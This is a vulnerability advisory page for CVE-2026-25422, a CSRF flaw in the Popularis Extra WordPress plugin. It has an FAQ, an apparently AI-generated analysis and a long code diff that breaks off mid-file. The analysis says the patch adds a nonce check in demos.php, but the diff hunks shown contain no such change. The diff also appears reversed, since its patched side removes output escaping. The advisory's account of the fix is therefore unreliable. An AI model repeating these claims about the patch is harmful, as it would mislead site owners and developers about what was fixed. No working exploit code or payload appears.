What is CVE-2026-25422?

CVE-2026-25422 is a Cross-Site Request Forgery (CSRF) vulnerability found in the Popularis Extra plugin for WordPress, affecting versions up to and including 1.2.10. It allows unauthenticated attackers to perform unauthorized actions by tricking a site administrator into clicking a malicious link.

How does the vulnerability work?

The vulnerability arises from missing nonce validation in the AJAX handler for dismissing admin notices. An attacker can craft a malicious webpage that sends a forged request to the WordPress site, executing actions with the privileges of an authenticated administrator.

Who is affected by this vulnerability?

Any WordPress site using the Popularis Extra plugin version 1.2.10 or earlier is vulnerable. Site administrators should check their plugin version to determine if they are at risk.

How can I check if my site is vulnerable?

To check if your site is vulnerable, navigate to the Plugins section in your WordPress admin dashboard and locate the Popularis Extra plugin. If the version is 1.2.10 or earlier, your site is at risk.

How can I fix this vulnerability?

To mitigate the vulnerability, update the Popularis Extra plugin to version 1.4.1 or later, where the nonce validation has been properly implemented. Regularly check for updates to ensure ongoing security.

What does the CVSS score of 4.3 indicate?

The CVSS score of 4.3 indicates a medium severity level for this vulnerability. This means that while exploitation is possible, it requires social engineering tactics to succeed, and the impact is limited to specific administrative actions.

What is nonce validation and why is it important?

Nonce validation is a security measure used in WordPress to verify that requests made to the server are legitimate and originate from the authenticated user interface. It helps prevent CSRF attacks by ensuring that unauthorized requests cannot be executed.

What are the practical risks of this vulnerability?

The practical risks include the possibility of an attacker dismissing important admin notices, such as update reminders or promotional messages. While this does not allow for data theft or privilege escalation, it can disrupt site management.

How does the proof of concept demonstrate the vulnerability?

The proof of concept shows how an attacker can create a webpage that, when visited by a logged-in administrator, automatically submits a forged AJAX request to dismiss a specific notice. This illustrates the ease of exploitation due to the lack of nonce checks.

What should I do if I cannot update the plugin immediately?

If immediate updates are not possible, consider disabling the Popularis Extra plugin until a secure version can be installed. Additionally, educate your site administrators about the risks of clicking on untrusted links.

Are there any other security measures I should implement?

In addition to updating vulnerable plugins, consider implementing security plugins that offer CSRF protection, regularly auditing your site’s security settings, and educating users about safe browsing practices to minimize risks.

Where can I find more information about this vulnerability?

More information can be found in the official CVE database, security advisories from WordPress, and the plugin’s changelog. Additionally, security blogs and forums often discuss vulnerabilities and their implications.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 18, 2026

CVE-2026-25422: Popularis Extra <= 1.2.10 – Cross-Site Request Forgery (popularis-extra)

CVE ID CVE-2026-25422

Plugin popularis-extra

Severity Medium (CVSS 4.3)

CWE 352

Vulnerable Version 1.2.10

Patched Version 1.4.1

Disclosed January 27, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-25422:
The Popularis Extra WordPress plugin, versions up to and including 1.2.10, contains a Cross-Site Request Forgery (CSRF) vulnerability. This flaw resides in the plugin’s demo import functionality, specifically within the `popularis_extra_dismiss_notice` AJAX handler. The vulnerability allows unauthenticated attackers to trick an administrator into performing an unintended action, such as dismissing a specific admin notice, by luring them to click a malicious link.

The root cause is the absence of a nonce (number used once) security check in the `popularis_extra_dismiss_notice` function. This function is hooked to the `wp_ajax_popularis_extra_dismiss_notice` action in the file `popularis-extra/includes/panel/demos.php`. The vulnerable code, prior to the patch, allowed the `update_site_option` function to be called via an AJAX request without verifying the request’s authenticity using a WordPress nonce. The function directly processes the `$_POST[‘notice’]` parameter to determine which site option to update, providing a clear attack vector.

Exploitation requires an attacker to craft a malicious webpage containing a forged HTTP request. This request would be sent to the WordPress site’s `/wp-admin/admin-ajax.php` endpoint with the `action` parameter set to `popularis_extra_dismiss_notice`. The attacker must also include a `notice` POST parameter, such as `popularis_extra_active_pro_time_business`, to trigger the specific option update. When a logged-in administrator visits the attacker’s page, their browser automatically submits this request, performing the action with the administrator’s privileges without their consent.

The patch addresses the vulnerability by adding a nonce check. The updated code in `popularis-extra/includes/panel/demos.php` now calls `check_ajax_referer(‘popularis_extra_dismiss_notice’, ‘nonce’)` at the beginning of the `popularis_extra_dismiss_notice` function. This function verifies the presence and validity of a `nonce` parameter in the AJAX request. If the nonce is missing or invalid, the request is terminated, preventing CSRF attacks. The fix ensures that only requests originating from the legitimate WordPress admin interface, which includes a valid, time-limited nonce, can trigger the notice dismissal action.

Successful exploitation has a low impact on confidentiality and integrity but a moderate impact on availability within the admin context. An attacker could forcibly dismiss administrative notices related to plugin promotions or update reminders. This action could prevent site administrators from seeing important information, though it does not allow direct data theft, code execution, or privilege escalation. The attack requires social engineering to lure an administrator, and the impact is limited to the specific functionality controlled by the vulnerable AJAX handler.

Differential between vulnerable and patched code

Code Diff

--- a/popularis-extra/includes/notify/notify.php
+++ b/popularis-extra/includes/notify/notify.php
@@ -219,15 +219,15 @@

     popularis_extra_pro_sale_dismiss();

-    $activation_time = get_site_option('popularis_extra_active_pro_time_verse');
+    $activation_time = get_site_option('popularis_extra_active_pro_time_business');

     if (!$activation_time) {
-        add_site_option('popularis_extra_active_pro_time_verse', time());
+        add_site_option('popularis_extra_active_pro_time_business', time());
     }

     $daysinseconds = 60; // 1 Day in seconds (86400).
     $theme = wp_get_theme();
-    if ('Popularis Verse' != $theme->name ) {
+    if ('Popularis Business' != $theme->name ) {
         if (time() - $activation_time > $daysinseconds) {
             if (!popularis_extra_check_for_popularis_pro()) {
                 add_action('admin_notices', 'popularis_extra_pro_notice_sale');
@@ -249,16 +249,16 @@

     <div class="popularis-review-notice">
         <div class="popularis-review-thumbnail p-business">
-            <img src="<?php echo esc_url(POPULARIS_EXTRA_PLUGIN_URL) . 'img/notify.png'; ?>" alt="">
+            <img src="<?php echo esc_url(POPULARIS_EXTRA_PLUGIN_URL) . 'img/popularis-business.png'; ?>" alt="">
         </div>
         <div class="popularis-review-text">
             <h3><?php esc_html_e('NEW FREE Popularis Theme', 'popularis-extra') ?></h3>
             <p>
-                <?php echo sprintf(esc_html__('New free multi-purpose and business WordPress theme. %1$s', 'popularis-extra'), '<a href="https://populariswp.com/popularis-verse/" target="_blank">Popularis Verse</a>') ?>
+                <?php echo sprintf(esc_html__('New free multi-purpose and business WordPress theme. %1$s', 'popularis-extra'), '<a href="https://populariswp.com/popularis-business/" target="_blank">Popularis Business</a>') ?>
             </p>
             <ul class="popularis-review-ul">
                 <li class="show-mor-message">
-                    <a href="https://populariswp.com/popularis-verse/" target="_blank">
+                    <a href="https://populariswp.com/popularis-business/" target="_blank">
                         <span class="dashicons dashicons-external"></span>
                         <?php esc_html_e('Show me more', 'popularis-extra') ?>
                     </a>
@@ -291,22 +291,5 @@
     }
     $daysinseconds = 604800; // 7 Days in seconds.
     $newtime = time() + $daysinseconds;
-    update_site_option('popularis_extra_active_pro_time_verse', $newtime);
+    update_site_option('popularis_extra_active_pro_time_business', $newtime);
 }
-
-add_action('admin_notices', 'popularis_extra_pro_update_motice');
-
-function popularis_extra_pro_update_motice(){
-
-	if(defined('TWP_PRO_CURRENT_VERSION') && version_compare(TWP_PRO_CURRENT_VERSION, '1.9.3', '<')  )	{
-		$changelogurl = 'https://populariswp.com/popularis-pro-changelog/';
-		$updateurl = 'https://populariswp.com/blog/docs/popularis-pro/how-to-update-popularis-pro/';
-
-		$message = sprintf( __( '%1$s requires an %2$supdate%3$s. Please update the plugin to ensure full compatibility with the %4$s theme and WordPress.', 'popularis-extra' ), '<strong>Popularis PRO</strong>','<strong>', '</strong>', '<strong>Popularis</strong>' );
-		$button_text = __( 'Update', 'popularis-extra' );
-
-		$button = '<p><a href="' . esc_url(admin_url( 'update-core.php?force-check=1')) . '" class="button-secondary">' . esc_html($button_text) . '</a><a href="' . esc_url($changelogurl) . '" target="_blank" class="popularis-changelog" style="margin-left:10px;margin-top: 4px;display: inline-block;">' . esc_html('Changelog') . '</a><a href="' . esc_url($updateurl) . '" target="_blank" class="popularis-link" style="margin-left:10px;margin-top: 4px;display: inline-block;">' . esc_html('How to update?') . '</a></p>';
-		printf( '<div class="error"><p>%1$s</p>%2$s</div>', $message, $button );
-	}
-
-	}
--- a/popularis-extra/includes/panel/classes/class-install-demos.php
+++ b/popularis-extra/includes/panel/classes/class-install-demos.php
@@ -96,7 +96,6 @@

                         // Vars
                         $item_categories = Popularis_Extra_Demos::get_demo_item_categories($key);
-						$link = isset($key['demo_url']) ? $key['demo_url'] : $key['demo_template'];
                         ?>

                         <div class="theme-wrap" data-categories="<?php echo esc_attr($item_categories); ?>" data-name="<?php echo esc_attr(strtolower($key['demo_template'])); ?>">
@@ -119,7 +118,7 @@
                                     <h2 class="theme-name" id="<?php echo esc_attr(str_replace('-demo', '', $key['demo_template'])); ?>"><span><?php echo esc_html($key['demo_name']); ?></span></h2>

                                     <div class="theme-actions">
-                                        <a class="button button-primary" href="https://populariswp.com/<?php echo esc_attr($link); ?>/" target="_blank"><?php esc_html_e('Live Preview', 'popularis-extra'); ?></a>
+                                        <a class="button button-primary" href="https://populariswp.com/<?php echo esc_attr($key['demo_template']); ?>/" target="_blank"><?php esc_html_e('Live Preview', 'popularis-extra'); ?></a>
                                     </div>

                                 </div>
--- a/popularis-extra/includes/panel/demos.php
+++ b/popularis-extra/includes/panel/demos.php
@@ -122,172 +122,47 @@
             $theme_slug = get_stylesheet();
             // Demos url
             $url = 'https://populariswp.com/wp-content/uploads/demo-import/' . $theme_slug . '/';
-			if ('popularis-verse' == $theme_slug ) {
-				$url = 'https://populariswp.com/wp-content/uploads/demo-import/';
-				$data = array(
-					$theme_slug => array(
-						'demo_name' => $theme->name,
-						'categories' => array('WooCommerce', 'Business', 'Creative', 'Free', 'Elementor'),
-						'xml_file' => $url . 'popularis-verse/default/default-content.xml',
-						'theme_settings' => $url . 'popularis-verse/default/default-customizer.dat',
-						'widgets_file' => $url . 'popularis-verse/default/default-widgets.wie',
-						'screenshot' => $url . 'popularis-verse/default/screenshot.jpg',
-						'demo_template' => $theme_slug . '-demo',
-						'home_title' => 'Homepage',
-						'blog_title' => 'Blog',
-						'posts_to_show' => '6',
-						'elementor_width' => '1140',
-						'elementor_experiment-container' => 'active',
-						'is_shop' => true,
-						'woo_image_size' => '600',
-						'woo_thumb_size' => '300',
-						'woo_crop_width' => '1',
-						'woo_crop_height' => '1',
-						'required_plugins' => array(
-							'free' => array(
-								array(
-									'slug' => 'popularis-extra',
-									'init' => 'popularis-extra/popularis-extra.php',
-									'name' => 'Popularis Extra',
-								),
-								array(
-									'slug' => 'elementor',
-									'init' => 'elementor/elementor.php',
-									'name' => 'Elementor',
-								),
-								array(
-									'slug' => 'woocommerce',
-									'init' => 'woocommerce/woocommerce.php',
-									'name' => 'WooCommerce',
-								),
-							),
-						//'premium' => array( ),
-						),
-					),
-					$theme_slug . '-2' => array(
-						'demo_name' => 'Popularis Verse #2',
-						'categories' => array('WooCommerce', 'Business', 'Creative', 'Free', 'Elementor'),
-						'xml_file' => $url . 'popularis-verse/default/default-content.xml',
-						'theme_settings' => $url . 'popularis-verse/default/default-customizer.dat',
-						'widgets_file' => $url . 'popularis-verse/default/default-widgets.wie',
-						'screenshot' => $url . 'popularis-verse/default/screenshot-2.jpg',
-						'demo_template' => $theme_slug . '-demo-2',
-						'demo_url' => $theme_slug . '-demo/homepage-2',
-						'home_title' => 'Homepage #2',
-						'blog_title' => 'Blog',
-						'posts_to_show' => '6',
-						'elementor_width' => '1140',
-						'elementor_experiment-container' => 'active',
-						'is_shop' => true,
-						'woo_image_size' => '600',
-						'woo_thumb_size' => '300',
-						'woo_crop_width' => '1',
-						'woo_crop_height' => '1',
-						'required_plugins' => array(
-							'free' => array(
-								array(
-									'slug' => 'popularis-extra',
-									'init' => 'popularis-extra/popularis-extra.php',
-									'name' => 'Popularis Extra',
-								),
-								array(
-									'slug' => 'elementor',
-									'init' => 'elementor/elementor.php',
-									'name' => 'Elementor',
-								),
-								array(
-									'slug' => 'woocommerce',
-									'init' => 'woocommerce/woocommerce.php',
-									'name' => 'WooCommerce',
-								),
-							),
-						//'premium' => array( ),
-						),
-					),
-					$theme_slug . '-3' => array(
-						'demo_name' => 'Popularis Verse #3',
-						'categories' => array('WooCommerce', 'Business', 'Creative', 'Free', 'Elementor'),
-						'xml_file' => $url . 'popularis-verse/default/default-content.xml',
-						'theme_settings' => $url . 'popularis-verse/default/default-customizer.dat',
-						'widgets_file' => $url . 'popularis-verse/default/default-widgets.wie',
-						'screenshot' => $url . 'popularis-verse/default/screenshot-3.jpg',
-						'demo_template' => $theme_slug . '-demo-3',
-						'demo_url' => $theme_slug . '-demo/homepage-3',
-						'home_title' => 'Homepage #3',
-						'blog_title' => 'Blog',
-						'posts_to_show' => '6',
-						'elementor_width' => '1140',
-						'elementor_experiment-container' => 'active',
-						'is_shop' => true,
-						'woo_image_size' => '600',
-						'woo_thumb_size' => '300',
-						'woo_crop_width' => '1',
-						'woo_crop_height' => '1',
-						'required_plugins' => array(
-							'free' => array(
-								array(
-									'slug' => 'popularis-extra',
-									'init' => 'popularis-extra/popularis-extra.php',
-									'name' => 'Popularis Extra',
-								),
-								array(
-									'slug' => 'elementor',
-									'init' => 'elementor/elementor.php',
-									'name' => 'Elementor',
-								),
-								array(
-									'slug' => 'woocommerce',
-									'init' => 'woocommerce/woocommerce.php',
-									'name' => 'WooCommerce',
-								),
-							),
-						//'premium' => array( ),
-						),
-					),
-				);
-			} else {
-				$data = array(
-					$theme_slug => array(
-						'demo_name' => $theme->name,
-						'categories' => array('WooCommerce', 'Business', 'Creative', 'Free', 'Elementor'),
-						'xml_file' => $url . 'default/default-content.xml',
-						'theme_settings' => $url . 'default/default-customizer.dat',
-						'widgets_file' => $url . 'default/default-widgets.wie',
-						'screenshot' => $url . 'default/screenshot.jpg',
-						'demo_template' => $theme_slug . '-demo',
-						'home_title' => 'Homepage',
-						'blog_title' => 'Blog',
-						'posts_to_show' => '6',
-						'elementor_width' => '1140',
-						'elementor_experiment-container' => 'active',
-						'is_shop' => true,
-						'woo_image_size' => '600',
-						'woo_thumb_size' => '300',
-						'woo_crop_width' => '1',
-						'woo_crop_height' => '1',
-						'required_plugins' => array(
-							'free' => array(
-								array(
-									'slug' => 'popularis-extra',
-									'init' => 'popularis-extra/popularis-extra.php',
-									'name' => 'Popularis Extra',
-								),
-								array(
-									'slug' => 'elementor',
-									'init' => 'elementor/elementor.php',
-									'name' => 'Elementor',
-								),
-								array(
-									'slug' => 'woocommerce',
-									'init' => 'woocommerce/woocommerce.php',
-									'name' => 'WooCommerce',
-								),
-							),
-						//'premium' => array( ),
-						),
-					),
-				);
-			}
+
+            $data = array(
+                $theme_slug => array(
+                    'demo_name' => $theme->name,
+                    'categories' => array('WooCommerce', 'Business', 'Creative', 'Free', 'Elementor'),
+                    'xml_file' => $url . 'default/default-content.xml',
+                    'theme_settings' => $url . 'default/default-customizer.dat',
+                    'widgets_file' => $url . 'default/default-widgets.wie',
+                    'screenshot' => $url . 'default/screenshot.jpg',
+                    'demo_template' => $theme_slug . '-demo',
+                    'home_title' => 'Homepage',
+                    'blog_title' => 'Blog',
+                    'posts_to_show' => '6',
+                    'elementor_width' => '1140',
+                    'is_shop' => true,
+                    'woo_image_size' => '600',
+                    'woo_thumb_size' => '300',
+                    'woo_crop_width' => '1',
+                    'woo_crop_height' => '1',
+                    'required_plugins' => array(
+                        'free' => array(
+                            array(
+                                'slug' => 'popularis-extra',
+                                'init' => 'popularis-extra/popularis-extra.php',
+                                'name' => 'Popularis Extra',
+                            ),
+                            array(
+                                'slug' => 'elementor',
+                                'init' => 'elementor/elementor.php',
+                                'name' => 'Elementor',
+                            ),
+                            array(
+                                'slug' => 'woocommerce',
+                                'init' => 'woocommerce/woocommerce.php',
+                                'name' => 'WooCommerce',
+                            ),
+                        ),
+                    //'premium' => array( ),
+                    ),
+                ),
+            );

             // Return
             return apply_filters('popularis_demos_data', $data);
@@ -430,13 +305,13 @@
                     </div>

                 </div>
-                <?php if (!defined('TWP_PRO_CURRENT_VERSION') && !empty($premium) && $premium['0']['slug'] == 'popularis-pro') { ?>
+                <?php if (!defined('TWP_PRO_CURRENT_VERSION') && $premium['0']['slug'] == 'popularis-pro') { ?>
                     <div class="popularis-button popularis-plugins-pro">
                         <a href="<?php echo esc_url('https://populariswp.com/product/popularis-pro/'); ?>" target="_blank" >
                             <?php esc_html_e('Install and activate Popularis PRO', 'popularis-extra'); ?>
                         </a>
                     </div>
-                <?php } elseif (defined('TWP_PRO_CURRENT_VERSION') && !defined('TWP_SLT_PRO') && !empty($premium) && $premium['0']['slug'] == 'popularis-pro') { ?>
+                <?php } elseif (defined('TWP_PRO_CURRENT_VERSION') && !defined('TWP_SLT_PRO') && $premium['0']['slug'] == 'popularis-pro') { ?>
                     <div class="popularis-button popularis-plugins-pro">
                         <a href="<?php echo esc_url(network_admin_url('options-general.php?page=popularis-license-options')) ?>" >
                             <?php esc_html_e('Activate Popularis PRO license', 'popularis-extra'); ?>
@@ -774,9 +649,6 @@

                 // Elementor width setting
                 $elementor_width = isset($demo['elementor_width']) ? $demo['elementor_width'] : '';
-
-				// Elementor experiment container
-				$elementor_container = isset( $demo[ 'elementor_experiment-container' ] ) ? $demo[ 'elementor_experiment-container' ] : '';

                 // Reading settings
                 $homepage_title = isset($demo['home_title']) ? $demo['home_title'] : 'Home';
@@ -845,9 +717,6 @@
                         if ($menu->name == 'Homepage') {
                             $locations['main_menu_home'] = $menu->term_id;
                         }
-						if ($menu->name == 'Homepage Main Menu') {
-                            $locations['main_menu_home'] = $menu->term_id;
-                        }
                     }
                 }

@@ -860,9 +729,6 @@
                 if (!empty($elementor_width)) {
                     update_option('elementor_container_width', $elementor_width);
                 }
-				if ( !empty( $elementor_container ) ) {
-					update_option( 'elementor_experiment-container', $elementor_container );
-				}

                 // Assign front page and posts page (blog page).
                 $home_page = get_page_by_title($homepage_title);
--- a/popularis-extra/includes/wizard/wizard.php
+++ b/popularis-extra/includes/wizard/wizard.php
@@ -381,7 +381,7 @@
                 </div>
                 <p><?php esc_attr_e("Thank you for choosing Popularis theme, in this quick setup wizard we'll take you through the 2 essential steps for you to get started building your dream website. Make sure to go through it to the end.", 'popularis-extra'); ?></p>
                 <div class="popularis-wizard-setup-actions">
-                    <a class="skip-btn continue" href="<?php echo esc_url($this->get_next_step_link()); ?>"><?php esc_attr_e("Get started", 'popularis-extra'); ?><i class="dashicons dashicons-arrow-<?php echo esc_attr($icon); ?>-alt"></i></a>
+                    <a class="skip-btn continue" href="<?php echo $this->get_next_step_link(); ?>"><?php esc_attr_e("Get started", 'popularis-extra'); ?><i class="dashicons dashicons-arrow-<?php echo esc_attr($icon); ?>-alt"></i></a>
                 </div>
                 <a class="popularis-setup-footer-links" href="<?php echo esc_url(( add_query_arg(array('popularis_wizard_hide_notice' => '2nd_notice'), admin_url()))); ?>"><?php esc_attr_e("Skip Setup Wizard", 'popularis-extra'); ?></a>
             </div>
@@ -439,7 +439,6 @@

                                 // Vars
                                 $item_categories = Popularis_Extra_Demos::get_demo_item_categories($key);
-								$link = isset($key['demo_url']) ? $key['demo_url'] : $key['demo_template'];
                                 ?>

                                 <div class="theme-wrap" data-categories="<?php echo esc_attr($item_categories); ?>" data-name="<?php echo esc_attr(strtolower($key['demo_template'])); ?>">
@@ -455,7 +454,7 @@

                                             <h2 class="theme-name" id="<?php echo esc_attr(str_replace('-demo', '', $key['demo_template'])); ?>"><span><?php echo esc_html($key['demo_name']); ?></span></h2>
                                             <div class="theme-actions">
-                                                <a class="button button-primary" href="https://populariswp.com/<?php echo esc_attr($link); ?>/" target="_blank"><?php esc_html_e('Live Preview', 'popularis-extra'); ?></a>
+                                                <a class="button button-primary" href="https://populariswp.com/<?php echo esc_attr($key['demo_template']); ?>/" target="_blank"><?php esc_html_e('Live Preview', 'popularis-extra'); ?></a>
                                                 <span class="button button-secondary"><?php esc_html_e('Select', 'popularis-extra'); ?></span>
                                             </div>
                                         </div>
@@ -468,15 +467,15 @@

                         </div>
                         <div class="popularis-wizard-setup-actions">
-                            <button class="install-demos-button disabled" disabled data-next_step="<?php echo esc_url($this->get_next_step_link()); ?>"><?php esc_html_e("Install Demo", 'popularis-extra'); ?></button>
-                            <a class="skip-btn" href="<?php echo esc_url($this->get_next_step_link()); ?>"><?php esc_html_e("Skip Step", 'popularis-extra'); ?></a>
+                            <button class="install-demos-button disabled" disabled data-next_step="<?php echo $this->get_next_step_link(); ?>"><?php esc_html_e("Install Demo", 'popularis-extra'); ?></button>
+                            <a class="skip-btn" href="<?php echo $this->get_next_step_link(); ?>"><?php esc_html_e("Skip Step", 'popularis-extra'); ?></a>
                         </div>
                     </div>

                 </div>

                 <div class="popularis-wizard-setup-actions wizard-install-demos-buttons-wrapper final-step">
-                    <a class="skip-btn continue" href="<?php echo esc_url($this->get_next_step_link()); ?>"><?php esc_html_e("Next Step", 'popularis-extra'); ?><i class="dashicons dashicons-arrow-<?php echo esc_attr($icon); ?>-alt"></i></a>
+                    <a class="skip-btn continue" href="<?php echo $this->get_next_step_link(); ?>"><?php esc_html_e("Next Step", 'popularis-extra'); ?><i class="dashicons dashicons-arrow-<?php echo esc_attr($icon); ?>-alt"></i></a>
                 </div>
             </div>
             <?php
@@ -573,7 +572,7 @@
                     <div class="popularis-wizard-setup-actions">
                         <input type="hidden" name="save_step" value="save_step"/>
                         <button class="continue" type="submit" ><?php esc_html_e("Continue", 'popularis-extra'); ?><i class="dashicons dashicons-arrow-<?php echo esc_attr($icon); ?>-alt"></i></button>
-                        <a class="skip-btn" href="<?php echo esc_url($this->get_next_step_link()); ?>"><?php esc_html_e("Skip Step", 'popularis-extra'); ?></a>
+                        <a class="skip-btn" href="<?php echo $this->get_next_step_link(); ?>"><?php esc_html_e("Skip Step", 'popularis-extra'); ?></a>
                     </div>
                 </form>
             </div>
@@ -598,7 +597,7 @@
                 if (isset($_POST['popularis-favicon']))
                     update_option('site_icon', $_POST['popularis-favicon']);

-                wp_safe_redirect(esc_url($this->get_next_step_link()));
+                wp_safe_redirect($this->get_next_step_link());
                 exit;
             } else {
                 print 'Your are not authorized to submit this form';
--- a/popularis-extra/library/extra-elementor/elementor-shortcode.php
+++ b/popularis-extra/library/extra-elementor/elementor-shortcode.php
@@ -10,55 +10,52 @@

 namespace Elementor;

-if ( !defined( 'ABSPATH' ) ) {
-	exit; // Exit if accessed directly
+if (!defined('ABSPATH')) {
+    exit; // Exit if accessed directly
 }

 class Popularis_Extra_Shortcode {

-	const SHORTCODE = 'elementor-template';
+    const SHORTCODE = 'elementor-template';

-	public function __construct() {
-		$this->add_actions();
-	}
-
-	public function admin_columns_headers( $defaults ) {
-		$defaults[ 'shortcode' ] = esc_html__( 'Shortcode', 'popularis-extra' );
-
-		return $defaults;
-	}
-
-	public function admin_columns_content( $column_name, $post_id ) {
-		if ( 'shortcode' === $column_name ) {
-			// %s = shortcode, %d = post_id
-			$shortcode = esc_attr( sprintf( '[%s id="%d"]', self::SHORTCODE, $post_id ) );
-			printf( '<input class="widefat" type="text" readonly onfocus="this.select()" value="%s" />', $shortcode );
-		}
-	}
-
-	public function shortcode( $attributes = [ ] ) {
-		if ( !class_exists( 'ElementorPlugin' ) ) {
-			return '';
-		}
-		if ( empty( $attributes[ 'id' ] ) ) {
-			return '';
-		}
-		if ( get_post_status( $attributes[ 'id' ] ) != 'publish' ) {
-			return '';
-		}
-
-		$response = Plugin::instance()->frontend->get_builder_content_for_display( $attributes[ 'id' ] );
-		return $response;
-	}
-
-	private function add_actions() {
-		if ( is_admin() ) {
-			add_action( 'manage_elementor_library_posts_columns', [$this, 'admin_columns_headers' ] );
-			add_action( 'manage_elementor_library_posts_custom_column', [$this, 'admin_columns_content' ], 10, 2 );
-		}
+    public function __construct() {
+        $this->add_actions();
+    }
+
+    public function admin_columns_headers($defaults) {
+        $defaults['shortcode'] = esc_html__('Shortcode', 'popularis-extra');
+
+        return $defaults;
+    }
+
+    public function admin_columns_content($column_name, $post_id) {
+        if ('shortcode' === $column_name) {
+            // %s = shortcode, %d = post_id
+            $shortcode = esc_attr(sprintf('[%s id="%d"]', self::SHORTCODE, $post_id));
+            printf('<input class="widefat" type="text" readonly onfocus="this.select()" value="%s" />', $shortcode);
+        }
+    }
+
+    public function shortcode($attributes = []) {
+        if (!class_exists('ElementorPlugin')) {
+            return '';
+        }
+        if (empty($attributes['id'])) {
+            return '';
+        }
+
+        $response = Plugin::instance()->frontend->get_builder_content_for_display($attributes['id']);
+        return $response;
+    }
+
+    private function add_actions() {
+        if (is_admin()) {
+            add_action('manage_elementor_library_posts_columns', [$this, 'admin_columns_headers']);
+            add_action('manage_elementor_library_posts_custom_column', [$this, 'admin_columns_content'], 10, 2);
+        }

-		add_shortcode( self::SHORTCODE, [$this, 'shortcode' ] );
-	}
+        add_shortcode(self::SHORTCODE, [$this, 'shortcode']);
+    }

 }

--- a/popularis-extra/library/extra-elementor/elementor-widgets.php
+++ b/popularis-extra/library/extra-elementor/elementor-widgets.php
@@ -38,9 +38,6 @@

         require_once POPULARIS_EXTRA_PATH . 'library/extra-elementor/elementor-widgets/text-block.php';
         ElementorPlugin::instance()->widgets_manager->register_widget_type(new Popularis_Text_Block());
-
-		require_once POPULARIS_EXTRA_PATH . 'library/extra-elementor/elementor-widgets/heading.php';
-        ElementorPlugin::instance()->widgets_manager->register_widget_type(new Popularis_Heading());
     }

     /**
--- a/popularis-extra/library/extra-elementor/elementor-widgets/heading.php
+++ b/popularis-extra/library/extra-elementor/elementor-widgets/heading.php
@@ -1,560 +0,0 @@
-<?php
-
-use ElementorControls_Manager;
-use ElementorGroup_Control_Background;
-use ElementorGroup_Control_Border;
-use ElementorGroup_Control_Text_Shadow;
-use ElementorGroup_Control_Typography;
-use ElementorWidget_Base;
-
-if ( ! defined( 'ABSPATH' ) ) {
-	exit; // Exit if accessed directly
-}
-
-/**
- * Elementor Addons
- *
- * Elementor widget.
- *
- * @since 1.0.0
- */
-class Popularis_Heading extends Widget_Base {
-
-	/**
-	 * Get widget name.
-	 *
-	 * Retrieve image widget name.
-	 *
-	 * @return string Widget name.
-	 * @since 1.0.0
-	 * @access public
-	 *
-	 */
-	public function get_name() {
-		return 'popularis-extra-heading';
-	}
-
-	/**
-	 * Get widget title.
-	 *
-	 * Retrieve image widget title.
-	 *
-	 * @return string Widget title.
-	 * @since 1.0.0
-	 * @access public
-	 *
-	 */
-	public function get_title() {
-		return __( 'Heading', 'popularis-extra' );
-	}
-
-	/**
-	 * Get widget icon.
-	 *
-	 * Retrieve image widget icon.
-	 *
-	 * @return string Widget icon.
-	 * @since 1.0.0
-	 * @access public
-	 *
-	 */
-	public function get_icon() {
-		return 'eicon-heading';
-	}
-
-	/**
-	 * Get widget categories.
-	 *
-	 * Retrieve the list of categories the image widget belongs to.
-	 *
-	 * Used to determine where to display the widget in the editor.
-	 *
-	 * @return array Widget categories.
-	 * @since 1.0.0
-	 * @access public
-	 *
-	 */
-	public function get_categories() {
-        return array('basic');
-    }
-
-	/**
-	 * Get widget keywords.
-	 *
-	 * Retrieve the list of keywords the widget belongs to.
-	 *
-	 * @return array Widget keywords.
-	 * @since 1.0.0
-	 * @access public
-	 *
-	 */
-	public function get_keywords() {
-		return array( 'heading', 'masking' );
-	}
-
-	/**
-	 * Retrieve the list of style the widget depended on.
-	 *
-	 * Used to set style dependencies required to run the widget.
-	 *
-	 * @return array Widget style dependencies.
-	 * @since 1.0.0
-	 *
-	 * @access public
-	 *
-	 */
-	public function get_style_depends() {
-
-		return array( 'popularis-extra-heading' );
-	}
-
-	public function render_title() {
-
-		$settings = $this->get_settings_for_display();
-
-		$target   = $settings['title_link']['is_external'] ? ' target="_blank"' : '';
-		$nofollow = $settings['title_link']['nofollow'] ? ' rel="nofollow"' : '';
-
-		$title = $settings['title_before'] . ( ( ! empty( $settings['title_center'] ) ) ? ' <span class="popularis-extra-title-focus">' . $settings['title_center'] . '</span>' : '' ) . ' ' . $settings['title_after'];
-
-		$html = '';
-
-		if ( ! empty( $settings['title_link']['url'] ) ) {
-			$html .= '<a href="' . esc_url( $settings['title_link']['url'] ) . '"' . esc_attr( $target ) . esc_attr( $nofollow ) . '>';
-		}
-
-		$html .= '<' . esc_attr( $settings['title_tag'] ) . ' class="popularis-extra-heading-title">';
-		$html .= wp_kses_post( $title );
-		$html .= '</' . esc_attr( $settings['title_tag'] ) . '>';
-
-		if ( ! empty( $settings['title_link']['url'] ) ) {
-			$html .= '</a>';
-		}
-
-		return $html;
-	}
-
-	/**
-	 * Register widget controls.
-	 *
-	 * Adds different input fields to allow the user to change and customize the widget settings.
-	 *
-	 * @since 1.0.0
-	 * @access protected
-	 */
-	protected function register_controls() {
-		$this->start_controls_section(
-			'section_title',
-			array(
-				'label' => __( 'Title', 'popularis-extra' ),
-			)
-		);
-
-		$this->add_control(
-			'title_before',
-			array(
-				'label'       => __( 'Title Before', 'popularis-extra' ),
-				'type'        => Controls_Manager::TEXT,
-				'default'     => __( 'Your', 'popularis-extra' ),
-				'label_block' => true,
-				'dynamic'     => array(
-					'active' => true,
-				),
-			)
-		);
-
-		$this->add_control(
-			'title_center',
-			array(
-				'label'       => __( 'Title Center', 'popularis-extra' ),
-				'type'        => Controls_Manager::TEXT,
-				'default'     => __( 'Simple', 'popularis-extra' ),
-				'label_block' => true,
-				'dynamic'     => array(
-					'active' => true,
-				),
-			)
-		);
-
-		$this->add_control(
-			'title_after',
-			array(
-				'label'       => __( 'Title After', 'popularis-extra' ),
-				'type'        => Controls_Manager::TEXT,
-				'default'     => __( 'Heading', 'popularis-extra' ),
-				'label_block' => true,
-				'dynamic'     => array(
-					'active' => true,
-				),
-			)
-		);
-
-		$this->add_control(
-			'title_link',
-			array(
-				'label'       => __( 'Link', 'popularis-extra' ),
-				'type'        => Controls_Manager::URL,
-				'placeholder' => 'https://example.com',
-				'dynamic'     => array(
-					'active' => true,
-				),
-			)
-		);
-
-		$this->add_control(
-			'title_tag',
-			array(
-				'label'   => __( 'HTML Tag', 'popularis-extra' ),
